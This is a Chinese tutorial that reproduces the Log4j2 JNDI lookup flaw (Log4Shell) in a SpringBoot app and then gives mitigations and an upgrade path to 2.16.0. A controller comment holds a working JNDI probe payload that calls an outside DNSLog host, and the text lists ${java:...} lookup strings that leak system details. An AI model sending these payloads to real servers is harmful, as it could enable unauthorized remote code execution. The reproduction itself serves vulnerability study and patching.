SpringBoot复现log4j2漏洞

2021年12月9日20:54，Log4j惊爆“核弹级”漏洞，该漏洞利用成本极低，可以直接任意代码执行，并接管目标服务器，其潜在危害严重性、影响面堪称今年之最。截至目前，Log4j2“核弹级”漏洞影响全球6万多个开源软件、30余万开源软件包，影响流行开源软件TOP10：Elasticsearch、SpringFramework、Druid、Spring Cloud Alibaba、Skywalking、Sentinel、MyBatis、HikariCP、Zipkin、MyBatis-Plus。该漏洞不排除其它利用方式，后续等待官方正式补丁。

工程搭建及环境

pom.xml

<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.1</version></parent><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId><exclusions><exclusion><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-logging</artifactId></exclusion></exclusions></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-log4j2</artifactId><version>2.1.1.RELEASE</version></dependency></dependencies>

java环境 jdk1.8

javaversion"11.0.13"2021-10-19LTSJava(TM)SERuntimeEnvironment18.9(build11.0.13+10-LTS-370)JavaHotSpot(TM)64-BitServerVM18.9(build11.0.13+10-LTS-370,mixedmode)

web接口编写

@RestControllerpublicclassTestController{privatestaticfinalLoggerlogger=LogManager.getLogger(TestController.class);/***${java:vm}打印：JavaHotSpot(TM)64-BitServerVM(build25.162-b12,mixedmode)*<p>*<p>*http://www.dnslog.cn/*${jndi:ldap://7yqrz4.dnslog.cn}**@paramstr*@return*/@PostMapping("/test")publicStringtest(@RequestBodyStringstr){logger.info("str={}",str);return"return="+str;}}

测试漏洞

java:vm为什么会打印？debug进去看看，路径：org.apache.logging.log4j.core.lookup.JavaLookup#lookup

发现key有不少，挨个试下：

${java:vm}JavaHotSpot(TM)64-BitServerVM(build25.162-b12,mixedmode)${java:locale}defaultlocale:zh_CN,platformencoding:UTF-8${java:hw}processors:4,architecture:x86_64-64${java:os}MacOSX10.14.6unknown,architecture:x86_64-64${java:version}Javaversion1.8.0_162${java:runtime}Java(TM)SERuntimeEnvironment(build1.8.0_162-b12)fromOracleCorporation

DNSLog http://www.dnslog.cn/

应对方案 ，受影响版本：Apache Log4j 2.x <= 2.14.1

jvm参数 -Dlog4j2.formatMsgNoLookups=true

修改配置 log4j2.formatMsgNoLookups=True

系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

升级>=2.16.0 https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/2.16.0

如果是依赖spring-boot-starter-log4j2

pom.xml<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-log4j2</artifactId><version>2.1.1.RELEASE</version><!--先排除--><exclusions><exclusion><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId></exclusion><exclusion><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId></exclusion></exclusions></dependency><!--再手动添加--><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.16.0</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.16.0</version></dependency>

参考

apache log4j lookups

Apache Log4j CVE